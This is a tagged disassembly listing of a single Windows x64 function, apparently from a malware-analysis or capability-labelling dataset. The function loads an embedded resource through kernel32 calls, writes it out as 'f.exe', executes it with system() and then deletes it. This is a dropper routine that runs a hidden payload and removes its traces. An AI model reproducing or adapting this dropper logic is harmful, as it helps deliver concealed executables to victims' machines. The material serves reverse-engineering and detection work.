Function at 0x1400115c3
Capabilities:
Delete file
Execute command
Extract resource via kernel32 functions

Disassembly:
jmp 0x14001ab80
push rbp
push rsi
push rdi
sub rsp, 0x990
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x198
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b018]
xor rax, rbp
mov qword [rbp + 0x958], rax
lea rcx, [0x1400320f5]
call fcn.14001184d
lea rax, [rbp + 0x10]
lea rcx, str.5ec5ce6636ef7a2200d24b8a7d7f17e6612760874c3ce108fcd367d4c14de2e83136bcdb1c6d691bc3854079446c89e8594ad78142ac98cb00e2ea3ac4a5b0f5a7fee5dc9b7fc2b5b4b5b5bd70bbb5c9c38a95899fa4837d82859e82887d86a59588a76331caa222ba173e033d6228285d8d44393b08d5be4653eecc55be29e4f3749a18f9b7066f636d518b5cdc36899bb23b29f248e32f24272509f8cc1db18ba802d5ea6b5836e082664e0ddeeb3538f80dc5e71292fd2cbf52a3c1a5ec2d5782b9e22c6dfe3ddc5f669279f1aff3dd67a3553fee4aef05225ee3d9d3ff20ff09a887e645624dfd0a37a0c79cea8d3208e521256473ce58582f1168debd522b45b70c417cea2deb8dc3c0206804c9dee2bb70bffd7562cc6aaf75954c8d8b823fcfb8649900a74ff0f039acdc65708afd0e8c3540b8730a5fc45689a7d992acfed6d477240b81d139a8559280754add62c4bbb0b6a5c9b93f58fe6c760830528ab6a8a4a673841872d25afbdc9d1e8018c74658e5a22b821352b36542822d1cec557c11a69f78cda256910e7943b61a27fd75545718630de29abe9c92ae51b12b9d98e6acf92597d21c42f4ded1d85498508fcd94703701b418673aeef663ba4f74434c40e8521f090bb5d493ad4dd672a7deea2210700791b4f567dec12dde61c4c76bebd4c90d4f0d31d72141dc47bde9a8d48b62d6c68256b24aeb7875c668746a6a34255008ac0900250ff34f50
mov rdi, rax
mov rsi, rcx
mov ecx, 0x423
rep movsb byte [rdi], byte [rsi]
call fcn.1400117df
mov r8d, 0xff
mov edx, 0xfe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x14001ac2d
lea rdx, str.Failed_to_find_the_resource.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001adaf
call fcn.1400117df
mov rdx, qword [rbp + 0x458]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0
jne 0x14001ac80
lea rdx, str.Failed_to_load_the_resource.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001adaf
call fcn.1400117df
mov rdx, qword [rbp + 0x458]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x494], eax
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x4b8], rax
cmp qword [rbp + 0x4b8], 0
jne 0x14001ace6
lea rdx, str.Failed_to_lock_the_resource.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001adaf
lea rdx, str.f.exe
lea rcx, [rbp + 0x4d8]
call fcn.1400113ac
nop
mov edx, 0x108
lea rcx, [rbp + 0x520]
call fcn.14001134d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x520]
call fcn.14001187a
nop
mov eax, dword [rbp + 0x494]
mov r8d, eax
mov rdx, qword [rbp + 0x4b8]
lea rcx, [rbp + 0x520]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x520]
call fcn.140011465
lea rcx, [rbp + 0x4d8]
call fcn.1400110e1
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x4d8]
call fcn.1400110e1
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_remove]
mov dword [rbp + 0x944], 0
lea rcx, [rbp + 0x520]
call fcn.140011226
nop
lea rcx, [rbp + 0x4d8]
call fcn.1400111a4
mov eax, dword [rbp + 0x944]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140025030]
call fcn.1400116ea
mov rax, rdi
mov rcx, qword [rbp + 0x958]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x960]
pop rdi
pop rsi
pop rbp
ret